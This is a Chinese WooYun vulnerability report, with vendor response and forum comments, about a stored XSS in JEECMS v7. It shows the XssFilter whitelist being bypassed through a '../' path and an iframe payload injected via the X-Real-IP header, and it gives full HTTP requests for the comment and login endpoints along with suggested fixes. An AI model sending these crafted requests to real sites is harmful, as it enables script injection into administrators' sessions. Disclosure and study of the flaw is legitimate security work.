当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0181732

漏洞标题:JEECMS XssFilter缺陷导致的存储型XSS漏洞

相关厂商:JEECMS

漏洞作者: applychen

提交时间:2016-03-07 09:00

修复时间:2016-06-06 14:20

公开时间:2016-06-06 14:20

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-07: 细节已通知厂商并且等待厂商处理中
2016-03-08: 厂商已经确认,细节仅向厂商公开
2016-03-11: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-02: 细节向核心白帽子及相关领域专家公开
2016-05-12: 细节向普通白帽子公开
2016-05-22: 细节向实习白帽子公开
2016-06-06: 细节向公众公开

简要描述:

自带的XssFilter绕过。

详细说明:

在官网下载最新的jeecmsV7

http://**.**.**.**/fabu/41667.jhtml


其中的web.xml中配置了XssFilter如下:

<filter>
<filter-name>XssFilter</filter-name>
<filter-class>**.**.**.**mon.web.XssFilter</filter-class>
<init-param>
<param-name>excludeUrls</param-name>
<param-value>/member/contribute@/jeeadmin/jeecms@/flow_statistic</param-value>
</init-param>
<init-param>
<param-name>SplitChar</param-name>
<param-value>@</param-value>
</init-param>
<init-param>
<param-name>FilterChar</param-name>
<param-value>'@"@\@#@:@%@></param-value>
</init-param>
<init-param>
<param-name>ReplaceChar</param-name>
<param-value>‘@“@\@#@:@%@></param-value>
</init-param>
</filter>


在**.**.**.**mon.web.XssFilter中代码如下:

public class XssFilter implements Filter {
private String filterChar;
private String replaceChar;
private String splitChar;
private String excludeUrls;
FilterConfig filterConfig = null;
public void init(FilterConfig filterConfig) throws ServletException {
this.filterChar=filterConfig.getInitParameter("FilterChar");
this.replaceChar=filterConfig.getInitParameter("ReplaceChar");
this.splitChar=filterConfig.getInitParameter("SplitChar");
this.excludeUrls=filterConfig.getInitParameter("excludeUrls");
this.filterConfig = filterConfig;
}
public void destroy() {
this.filterConfig = null;
}
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
if(isExcludeUrl(request)){
chain.doFilter(request, response);
}else{
chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request,filterChar,replaceChar,splitChar), response);
}
}


private boolean isExcludeUrl(ServletRequest request){
boolean exclude=false;
if(StringUtils.isNotBlank(excludeUrls)){
String[]excludeUrl=excludeUrls.split(splitChar);
if(excludeUrl!=null&&excludeUrl.length>0){
for(String url:excludeUrl){
if(URLHelper.getURI((HttpServletRequest)request).startsWith(url)){
exclude=true;
}
}
}
}
return exclude;
}
}


注意其中的isExcludeUrl(ServletRequest request)方法,isExcludeUrl()用于排除web.xml中定义的URL(即白名单,XssFilter不检查web.xml定义页面中的XSS字符)如下(以@分割):

<init-param>
<param-name>excludeUrls</param-name>
<param-value>/member/contribute@/jeeadmin/jeecms@/flow_statistic</param-value>
</init-param>


在具体实现xss白名单的的时候使用的是startsWith():

if(URLHelper.getURI((HttpServletRequest)request).startsWith(url)){
exclude=true;
}


即URI目录以以下字符开头即可绕过XssFilter的检查:

/member/contribute
/jeeadmin/jeecms
/flow_statistic


再来看
RequestUtils.java中的getIpAddr(HttpServletRequest request)方法:

public static String getIpAddr(HttpServletRequest request) {
String ip = request.getHeader("X-Real-IP");
if (!StringUtils.isBlank(ip) && !"unknown".equalsIgnoreCase(ip)) {
return ip;
}
ip = request.getHeader("X-Forwarded-For");
if (!StringUtils.isBlank(ip) && !"unknown".equalsIgnoreCase(ip)) {
// 多次反向代理后会有多个IP值,第一个为真实IP。
int index = ip.indexOf(',');
if (index != -1) {
return ip.substring(0, index);
} else {
return ip;
}
} else {
return request.getRemoteAddr();
}
}


此方法用于获取ip地址,可以从以下两个HTTP头中获取:

X-Real-IP
X-Forwarded-For


getIpAddr(HttpServletRequest request)在CommentAct.java中被调用:

@RequestMapping(value = "/comment.jspx", method = RequestMethod.POST)
public void submit(Integer contentId, Integer score,String text, String captcha,
HttpServletRequest request, HttpServletResponse response,
ModelMap model) throws JSONException {
……
cmsCommentM**.**.**.**ment(score,text, RequestUtils.getIpAddr(request),
contentId, site.getId(), userId, checked, false);
json.put("success", true);
json.put("status", 0);
}
ResponseUtils.renderJson(response, json.toString());
}


通过cmsCommentM**.**.**.**ment()直接把IP地址RequestUtils.getIpAddr(request)写入到数据库,首先是正常的在前台文章进行评论,抓包写入HTTP头:

5.png


在后台查看可以看到>符号被替换为>:

6.png


下面来开始绕过,前台评论:

1.png


抓包拦截,将URL修改为以/jeeadmin/jeecms/开头:

/jeeadmin/jeecms/../../comment.jspx


添加获取IP的HTTP头:

X-Real-IP: <iframe src=http://**.**.**.**></iframe>


整个包如下:

POST /jeeadmin/jeecms/../../comment.jspx HTTP/1.1
Host: **.**.**.**:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Real-IP: <iframe src=http://**.**.**.**></iframe>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**:8080/gnxw/587.jhtml
Content-Length: 85
Cookie: JSESSIONID=DC196DF35057163936FA768EA9426CC5; clientlanguage=zh_CN; pgv_pvid=6516730796; _site_id_cookie=1
Connection: keep-alive
text=testabc&captcha=xpxq&contentId=587&Submit=+%E9%A9%AC%E4%B8%8A%E5%8F%91%E8%A1%A8+


当管理员在后台审核评论时即可触发跨站,如下图:

2.png


RequestUtils.getIpAddr(request)还在登录时被调用了,前台登录:

POST /jeeadmin/jeecms/../../login.jspx HTTP/1.1
Host: **.**.**.**:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Real-IP: <iframe src=http://**.**.**.**></iframe>
Referer: http://**.**.**.**:8080/login.jspx?returnUrl=/
Cookie: JSESSIONID=E83E40D41B18500DEC0DB3C1EFD1A749; clientlanguage=zh_CN; pgv_pvid=6516730796; _site_id_cookie=1; __qc_wId=506
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
returnUrl=%2F&username=xxooxx1&password=111111&captcha=dupa


登录成功后,管理员在后台点击用户模块即可触发跨站:

3.png


RequestUtils.getIpAddr(request),后台登录调用:

POST /jeeadmin/jeecms/login.do HTTP/1.1
Host: **.**.**.**:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Real-IP: <iframe src=http://**.**.**.**></iframe>
Referer: **.**.**.**:8080/jeeadmin/jeecms/login.do
Cookie: pgv_pvid=1466705356; tm_last_login_uid=postmaster; tm_last_login_domain=root; tm_ibc=0; JSESSIONID=38DA86D43D85C0174FB6B08D407973A4; clientlanguage=zh_CN; _site_id_cookie=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
username=aaaaaaa&password=aaaaaaaa&submit.x=21&submit.y=10


管理员在后台查看登录失败日志即可触发跨站:

4.png

漏洞证明:

同上

修复方案:

1. 在获取URLHelper.getURI((HttpServletRequest)request)时候检查其中是否有../字符
2. 在旧版本中检查了IP地址的合法性,但是新版的v7反而没有了,可以添加上。

版权声明:转载请注明来源 applychen@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-03-08 14:17

厂商回复:

感谢对JEECMS的关注与支持,漏洞会尽早修复

最新状态:

暂无


漏洞评价:

评价

  1. 2016-03-07 09:32 | 爱上襄阳 ( 普通白帽子 | Rank:351 漏洞数:88 | ...)

    applychen,我偶像!

  2. 2016-03-08 09:52 | Wens0n ( 普通白帽子 | Rank:102 漏洞数:23 | 精华漏洞数:32 | WooYun认证√ 舞蹈系教授)

    @applychen 是不是要把开源程序都审计一篇,哈哈

  3. 2016-03-14 23:54 | ramos ( 路人 | Rank:7 漏洞数:1 | hello)

    我猜是jeecms在web的xml配置的xssfilter对flow_statistic.jspx文件f放行,导致对page和reffer参数放行,管理员后台点击来源页面触发xss,楼主我们说的是不是同一个

  4. 2016-03-15 01:03 | applychen 认证白帽子 ( 普通白帽子 | Rank:667 漏洞数:57 | 万古漫漫长如夜)

    @ramos 有点擦边

  5. 2016-03-15 09:44 | LoveSnow ( 实习白帽子 | Rank:85 漏洞数:20 | 以正和,以奇胜!)

    @applychen能不能给我留个cms,我正在代码审计,结果你就给报了,唉。。